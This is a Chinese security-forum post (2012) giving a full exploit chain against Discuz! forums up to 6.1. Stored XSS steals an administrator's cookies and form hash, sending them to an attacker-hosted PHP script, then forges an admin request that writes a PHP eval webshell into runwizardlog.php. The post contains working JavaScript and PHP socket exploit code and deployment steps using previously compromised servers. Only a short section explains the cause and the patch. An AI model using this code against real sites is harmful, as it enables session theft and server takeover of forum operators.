找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3556|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell
7 H5 Z( U, _. ]% @2 D6 Y" d' r; xBy racle @tian6.com$ V7 [% J7 p* p( `7 h% _* T
欢迎转帖.但请保留版权信息.9 o& z) i; T4 W$ z5 a+ L) M
受影响版本iscuz<=6.1.0,gbk+utf+big5
' H. ^/ ~$ O4 g9 [5 M8 x; w6 p5 L  @* ?
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.* u. F; i3 i( L5 j* h7 H, y6 t
$ p8 }8 O) [: e6 [9 z9 e$ O& e

, b! a5 `; o4 l/ e3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=87067 u- }/ B: D# [  j! n. s$ S
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.7 g7 q  |; ]3 Q* c6 v# W' n

/ ]9 O+ e. z, X( I分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等... \' s0 Q$ W! j' m- q! U
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS; C* ]: f9 Z- R; q$ n/ b
& B( z+ }9 r5 d2 x4 g
: j) I$ h1 R; Y
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------. d1 X& K/ L1 X* w) ?' }5 [  m

- m+ K( {" b8 M% ^& w7 P, ~* `
# |# Z$ r: [/ N& L& x$ n3 i5 [problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
: L6 J. l% m1 {9 |4 p0 _) x! B& W- c* N: k
problem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
3 o8 |' g# R( U' Z6 C* S9 D
/ Q% {  n4 j' g2 p' \7 U7 N* |problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
$ ]) ~+ z) v% _0 M4 Z/ S% `$ v1 Z# A3 O  e: |7 M

, U* S. ]" F* _0 ^下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {& c  ?; {5 m/ a

; m1 M& y. X* d; B4 V' y        global $runwizardfile, $runwizardhistory;
% @' y# Z) e+ I% w/ }/ o+ j( _# n5 R- E+ x; x, w
        $fp = fopen($runwizardfile, 'w');- d  [% Q, I2 ]/ F' |

5 q( y: y( t+ `! q/ o6 V) K        fwrite($fp, serialize($runwizardhistory));
# ?' Q; `, [# J9 p  z# I/ v- W  P
$ F! ~8 X! ^: J. \1 M6 t1 |        fclose($fp);
4 I# g- s+ p! R7 ?  B; V4 A+ o. I' h4 Q' O
}9 Z' U( F; h' G3 T  C/ J2 J  D
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里., w. R. f' J1 Q( l% @3 M/ M* ~
以下是修补的办法:function saverunwizardhistory() {
$ R% ~4 [' K; W+ Y' c
% D: h6 J  S+ Z4 h; N* P        global $runwizardfile, $runwizardhistory;: q7 _, V+ F8 A, s% s$ O9 P% M

+ A; ^/ P, m. H( t5 ^        $fp = fopen($runwizardfile, 'w');
- v& u7 V% G' k. P8 h' y$ Z/ I% b. y' C" V! |: ^
        $s = '<?php exit;?>';
: l  i( ?! i% N3 x: \6 W- W# e% o+ Q6 s* d2 h
        $s .= serialize($runwizardhistory);4 D0 k+ q5 t& f
& L/ V) N. Q; L# [1 t. F: z
        fwrite($fp, $s);
: [5 S5 }& q3 R6 ^$ _& H! [3 h+ H& l. @* ?7 ^# }
        fclose($fp);- r( M8 O" n+ Q' s  k* h1 f
3 g- ?5 i3 A7 z* a9 A$ q
}
8 a7 S9 }+ j: U/ }复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.6 D' j+ k9 G: F4 j) J  ?0 Z5 E3 P

3 P$ X  Z2 y& V9 }' x9 B7 V# u3 r) k6 u8 O% i9 l) f

! D1 ?9 E! v& h9 ]; d0 k----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------4 e3 f$ u: Y! u2 @3 V

2 @* d: O, p& n4 ~
- c, T; G( s3 X: u  e3 Q  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.$ s- x% S; C2 `, d5 K6 t4 ?6 \1 x
$ y/ A; q" I5 R
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.5 }/ i, I* _) H7 z$ V; F+ |8 h9 [
  w2 i! d/ K. Z
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.. @; @/ x, B3 m: k/ p. n  i

8 Z" H7 }$ E4 K6 o* X首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:  G9 D! _) P% d/ E
6 f2 W1 K& A4 t! V/ ~& `: M2 G6 h
var url="http://目标网站/admincp.php";      
% W7 ]1 t( \9 r3 i1 X: }
% a* R9 Y" U1 @2 _. l/*获得cookies*/$ U! ]! J! u$ j5 ]0 e

. X8 T1 [/ }* q% Yfunction getURL(s) {
* \$ V! \  Z: D# u6 P3 S9 T
4 M$ @' N! A, Lvar image = new Image();
' Z$ Z2 a. s7 \0 i% y9 v
& B! X: U' t7 g/ Q' F( u% V3 k& u9 fimage.style.width = 0;
' Q6 R( y3 ?+ E/ k* b9 ?
4 x2 N+ g! v5 y& X; a( Bimage.style.height = 0;# n6 ^- T0 h/ X+ Q4 \- `5 C! |' b
, V& m; B* o0 O; @- X! ]) w
image.src = s;6 H$ x* R6 ]  R) i- ?# V
# ?; m  X5 |- t) b' N
}
5 }: p  K; c5 {( y# H2 W1 a: X; i
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php8 z& `8 b) [' ?- f+ c2 E# b
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];' G* g% x6 t; @) }, T
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) ( V. K. V5 Y4 s1 K
7 s- l8 Q* J! }! `- M) ^0 h

8 T1 I" A& g% I; y! m3 J获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
7 p9 v& X9 n0 n$ J' l( ~/ d5 L8 z
  s3 u/ r) z' I$ |' X) P1 P) ?4 R
2 |+ g6 F1 h/ G) X
/*hash*/
$ U" \, Z* n- W9 g, \1 h2 f* V0 N
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");* L" k/ A2 \$ B
# p/ R- T1 m2 B: R; Y
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);# x& [. |; [6 I7 i

3 z. l" _0 N' W1 n* TxmlHttpReq.send();* M# \* J) F' @8 o# E- k3 J  b
" F& ?' u) i  D4 w7 u
var resource = xmlHttpReq.responseText;- f6 i+ P; ?9 T. i
7 i% b  z- W, }  E8 w
var numero = resource.search(/formhash/);
; @! `) K9 v" P# c, c9 o6 X  I, y" K2 g8 [' h' V! }9 _* B; n5 ]
var formhash=encodeURIComponent(resource.substr(numero+17,8));4 j$ s6 @$ B+ z( m3 K
  [) \; W- c# V) g6 b6 Q* m
% C" C9 |/ n' J% X

, i* g4 Q( u5 e: ~  z5 l2 bvar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
: ^! v$ ^# A! ?2 S
5 t4 h) D7 V9 l4 A3 d& MxmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 , g" I2 y3 m; S3 ?  G
! H: `' D. t' r" a4 w
xmlHttpReq.setRequestHeader("Referer", url);+ I; Q/ G! |7 Y" h

/ G  w) {/ c2 q3 Z! v) R+ bxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
' e) Q, r6 [$ J0 E
8 V% u3 B2 ?: S" v: |; W( F8 L5 zxmlHttpReq.setrequestheader("content-length",post.length);
7 g- ?4 l, c9 H4 k  ^- L4 X- g+ J! E: r+ n# a$ k- o, Q
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
) C: j& u  q& f# S+ E* _$ O8 I
; E  f! z9 A) j& f) W- rxmlHttpReq.send(post);//发送数据
+ M9 X3 J! A  Y( _8 R3 X; D复制代码这里HASH我假设正确,这样提交,也无须cookies; s2 b% b' N. D, }  j! D" P6 b

2 w+ g" c% d: {7 |. N% Q; n再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);2 j' C7 m( E, o! B2 l$ E

' j* x* x8 d- q# x/ V2 X3 yif (!$sock) die("$errstr ($errno)\n");# h6 C4 @8 ~% z* b
& g) U$ Y5 g0 g3 |2 H# h8 ]
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
: B" y/ [8 \3 u; I4 h) z/ Z! i4 e  G' C" c4 }' L; s! K" b( ?
8 m3 y1 _4 c1 U+ D
- o3 k- \" ^( r6 Q: o% m) q& I
fwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
4 J7 o( j2 U0 J1 `: ~9 y6 [& _" v- q- v
: ]9 J. o# C& c9 V2 |$ hfwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
+ o; ^2 o% ^8 G* A; R, W$ k! z8 `: C3 J, B$ n& h0 W
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");/ @: ~( I/ _9 {# ~4 s
# h+ g& Y( Z. \
fwrite($sock, "Accept-Language: zh-cn\r\n");
& s9 N( F; W0 C: M! u* k9 s. z  s- z4 p# v
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");1 |  L" F/ [2 u7 {
: l, E% ^. ^, x8 |7 d  t& h9 J
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
- I/ V/ P' r9 R8 S9 Q) S) E* Q. x) }3 P7 t
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");7 b7 \+ k" I+ R* Z) _
4 k$ N  ]1 ^: J6 l: T# g; f/ y
fwrite($sock, "Host: $url\r\n");
# h* N$ }% `  ^+ b' k# W3 P" D3 _: I! R1 s& o1 U9 O( E+ R5 C
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");) `( R& n$ I* _+ i( Y

: w$ |; ~% b% t2 O% z# n* Sfwrite($sock, "Connection: Keep-Alive\r\n");
$ ~+ S! l! Y' {/ O/ g( o
1 Y+ S# D0 _6 O9 ]+ `' W3 w" {fwrite($sock, "Cache-Control: no-cache\r\n");3 C% c! L' z4 F, c5 G0 d9 ?
' W- {4 M9 y* Q% K, M: F
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");8 B0 w9 X4 _2 v1 `' I* f/ W$ s

" C1 Q: F1 l- T  efwrite($sock, $data);' F! j7 h) N) X, k8 b5 g
. D& q* c% X: h8 P9 w
  e# A0 N- ?/ G1 k; U
: R0 X, e# \' r! J* A/ M+ h( Q7 ?6 S4 E
$headers = "";% r; b1 X; T2 R$ u

% B  c$ Y( r& B! mwhile ($str = trim(fgets($sock, 4096))): Q2 V4 r8 o2 w& R. |" E: Z; M& e
! y8 I0 v5 K+ _
     $headers .= "$str\n";
/ k; W. l; Y/ N/ B7 z1 ^& [( n, g+ j  o+ }% u' t
echo "\n";* U  o  w2 B; j$ L- |: g

7 H9 X" z8 U; ~4 h. p. R0 d& Q$body = "";3 Q- l" w% i0 m! x5 j' p6 I

  Q# W3 I+ Z3 R8 c1 e1 ^! Cwhile (!feof($sock))
5 u. N  D1 }/ C( B2 Q0 U1 q; W3 u. H6 I
     $body .= fgets($sock, 4096);! \; g, x3 W, A. K( b

. T: p( U) X# Y3 o$ x* Sfclose($sock);
" S  w0 x- v1 z' e. h
7 B7 z- a; C7 k* n* y; |! Wecho $body;. X/ k- j5 s2 B% [# O
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^  i+ b3 Z# C2 g, x# F& y

2 e& Q: R2 ~1 V* J; C% f6 @" ~
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
  w- U. W+ W& }2 @# f3 P8 J5 J( t
7 P0 V( Y* U$ T3 L, R+ ?
1 ~) w0 b( i* _* G6 z/ A5 I8 l1HP SOCKET利用方法首先打开racle.js
! \2 U9 W: X5 Q# V" n2 n% S4 a* Y% K% {; G5 M. p: M" P
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home6 C. w2 y! U1 V+ |- g5 M
9 a* l, T. I4 o! U+ j! I& @7 P$ L
% u; c1 b; y5 T  n( c

* I9 p0 g# h+ r' I然后打开racle@tian6.php6 f4 u3 E; q( S+ D
+ }5 d" U0 ?; ^9 ?, s% @' i2 ~+ g% g
$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com
' T; p1 e1 ]% ~6 O% U" f  M& I4 O7 f5 p
" N+ S; k2 a, O
* b4 i# N; [5 ~5 d$ @* {/ p
; ?- x3 S; M- k% P! i8 `% G3 f如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
& w$ q0 {. j! O5 x9 y6 ^: G, l
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));4 t  J+ A+ f) P/ O

7 x' g! T  _# P1 o; s2 c  `$ n
2 x' G% p! ?) @/ ?( r& {! F7 k' C
) Q8 A  y! G. f3 [; ]getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
/ U" W6 P" Z# a0 Q1 r% j. p5 s  S复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.2 S; u5 v  u- w5 V3 G, ]; w& s; `
2 Y! w2 N# B( k
7 X: I6 \) i/ K$ `( f

1 U9 g0 M9 t& Y1 X9 w如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:5 E# }# Q4 d$ R" W" n

# F! c5 N+ f* wvar formhash=encodeURIComponent(resource.substr(numero+17,8));
4 V  P5 `$ N% I1 X/ {- Q9 R& R( E. g5 C$ ?! \

0 T$ C9 t) A5 Q  M  S
0 \7 x+ l) c2 e( q) S9 W4 O: Xvar formhash=encodeURIComponent(resource.substr(numero+9,8));
- |8 m7 }: x' O. f0 T复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
  c$ c" V4 Z" @, c; E% g
/ M$ {( l8 T7 t! D如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
/ W8 S, x% c0 ]8 c
: s& N- o* ]4 K如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
6 v5 v' n/ H/ m" W! i; L) _6 u  s7 S
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
" R1 c* _& C( @8 o. v" a! k4 F
0 N# ^8 S- k. h7 S* |5 f" l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表